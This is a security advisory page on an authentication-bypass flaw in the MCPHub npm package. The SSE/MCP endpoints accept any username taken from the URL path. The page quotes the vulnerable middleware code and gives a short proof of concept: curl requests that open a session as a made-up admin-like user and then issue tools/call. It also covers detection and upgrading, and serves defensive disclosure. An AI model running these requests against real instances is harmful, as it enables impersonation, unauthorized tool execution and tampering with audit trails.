GHSA-wf8q-wvv8-p8jf: @samanhappy/mcphub: SSE Endpoint Accepts Arbitrary Username from URL Path Without Authentication, Enabling User Impersonation
MCPHub (@samanhappy/mcphub) before 0.12.15 trusts the username in the URL of its SSE and MCP endpoints. Anyone on the network can open a session as any user, including an admin, and run MCP tool calls under that identity. Upgrade to 0.12.15 and enable bearer authentication.
Published May 14, 2026 · Analysis Nov 3, 2026
What an attacker can do
MCPHub serves user-scoped endpoints at /:user/sse/:group. The sseUserContextMiddleware in src/middlewares/userContext.ts reads req.params.user and builds an IUser object from it with no database lookup and no token check (CWE-290). A source comment says the user should be validated, and isAdmin carries a TODO. The route chain in src/server.ts has only rate limiting and this middleware.
The proof of concept connects with curl to /CEO-admin-impersonated/sse on port 3100. The server answers with an endpoint event and a session id, and logs 'User context set for SSE/MCP endpoint' for a user that does not exist. The attacker then posts tools/call messages to the returned messages path.
This applies to instances without bearer auth, which the advisory says includes the default setup when no bearer keys are configured. The attacker gets access to user-scoped MCP servers and groups, can run their tools, and writes audit entries under a made-up name. The UserContextService is also a singleton, so concurrent connections can overwrite each other's user. No CVE is assigned and no exploitation in the wild is reported.
Who is affected
@samanhappy/mcphub below 0.12.15. Instances exposing SSE or MCP endpoints without bearer authentication are affected, including the default when bearer keys are not set. Check the version:
npm ls @samanhappy/mcphubFor Docker, check the image tag. Test an instance by requesting /anyname/sse and seeing whether it returns an endpoint event.
@samanhappy/mcphub
- Ecosystem
- npm
- Affected
- < 0.12.15
- Fixed in
- 0.12.15
- Check
npm ls @samanhappy/mcphub
How to fix it
Upgrade to @samanhappy/mcphub 0.12.15:
npm install @samanhappy/[email protected]The release notes we read list pull request titles only: tighter auth and ownership checks, scoped bearer keys rejected on the dashboard API, and admin-only settings export. They do not describe an SSE-specific change, so verify behavior after upgrading. The advisory's PoC assumes bearer auth is off, so enable bearer authentication with keys and do not expose port 3100 to untrusted networks.
How to tell if you were hit
Search MCPHub logs for 'User context set for SSE/MCP endpoint:' and 'New SSE connection established' lines that name users not in your user database, such as odd or admin-like names. Look for sessions and tools/call requests from unfamiliar IP addresses against /:user/sse and /:user/messages. Audit entries under unknown usernames point to spoofing. Beam records agent MCP tool calls, which shows which tools your own agents called through the hub.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
A critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user — including administrators — on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment.
Details
MCPHub provides user-scoped SSE endpoints at the path /:user/sse/:group. The sseUserContextMiddleware in src/middlewares/userContext.ts (lines 42–75) extracts the username from req.params.user and constructs a fabricated IUser object directly, bypassing all authentication:
export const sseUserContextMiddleware = async (
req: Request, res: Response, next: NextFunction,
): Promise<void> => {
const userContextService = UserContextService.getInstance();
const username = req.params.user; // ← Taken directly from URL, no validation whatsoever
if (username) {
// Note: In a real implementation, you should validate the user exists
// and has proper permissions
const user: IUser = {
username, // ← Completely attacker-controlled
password: '',
isAdmin: false, // TODO: Should be retrieved from user database
};
userContextService.setCurrentUser(user); // ← Fabricated identity is accepted as real
attachCleanupHandlers();
console.log(`User context set for SSE/MCP endpoint: ${username}`);
next();
}
// ...
};The SSE routes in src/server.ts (lines 132–161) apply only rate limiting and this context middleware — there is no authentication middleware in the chain:
// User-scoped routes with user context middleware
this.app.get(
`${this.basePath}/:user/sse/:group(.*)?`,
mcpConnectionRateLimiter, // Only rate limiting
sseUserContextMiddleware, // Identity from URL — no auth
(req, res) => handleSseConnection(req, res),
);Additionally, UserContextService is a singleton that stores the current user in a single instance variable. Under concurrent connections, one user's context can silently overwrite another's, creating a secondary race condition vulnerability (CWE-362).
PoC
Prerequisites: A running MCPHub instance with enableBearerAuth: false (or bearer keys not configured).
Step 1 — Connect to the SSE endpoint as any arbitrary user:
curl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sseExpected response — a valid SSE session is created:
event: endpoint
data: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758Step 2 — Verify on the server side (server logs):
[INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated
[INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages
[INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonatedThe server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated.
Step 3 — Execute MCP tool calls under the spoofed identity:
Once the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user's context:
curl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"any-tool","arguments":{}}}'Impact
This is a user identity spoofing vulnerability on the MCP transport layer. Any unauthenticated network user can:
- Impersonate any user, including administrators, on SSE/MCP endpoints
- Execute MCP tool calls under a spoofed user's identity, potentially accessing user-scoped resources and data
- Poison audit logs — all actions are recorded under the fabricated username, destroying accountability and forensic value
- Access user-scoped servers and groups that should only be available to authenticated users
All MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up.
Reported by the Eresus Security Research Team.
Credited to ibrahmsql.
Questions
- Is there a CVE for this MCPHub flaw?
No. It is tracked as GHSA-wf8q-wvv8-p8jf only.
- Does it require credentials?
No. The attacker just puts any username in the URL path. The PoC needs only curl and network access to the instance.
- Am I safe if bearer auth is on?
The PoC prerequisite is that enableBearerAuth is false or keys are not configured. The advisory says the default setup is affected. Upgrade anyway.
- Which version fixes it?
0.12.15. All earlier versions are affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-102943
Dagu MCP DAG specification read bypasses path containment and workspace isolation
medium6.5Nov 10, 2026CVE-2026-102610
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
medium6.4Nov 9, 2026CVE-2026-63655
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
high7.5Nov 9, 2026CVE-2026-76892
tsParticles: Malformed JSON requests can terminate the @tsparticles/mcp-server HTTP process
high8.7Nov 9, 2026CVE-2026-76893
tsParticles: A single anonymous MCP session can monopolize HTTP mode and deny new clients
medium6.9Nov 9, 2026CVE-2026-77604
Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
high7.5Nov 9, 2026
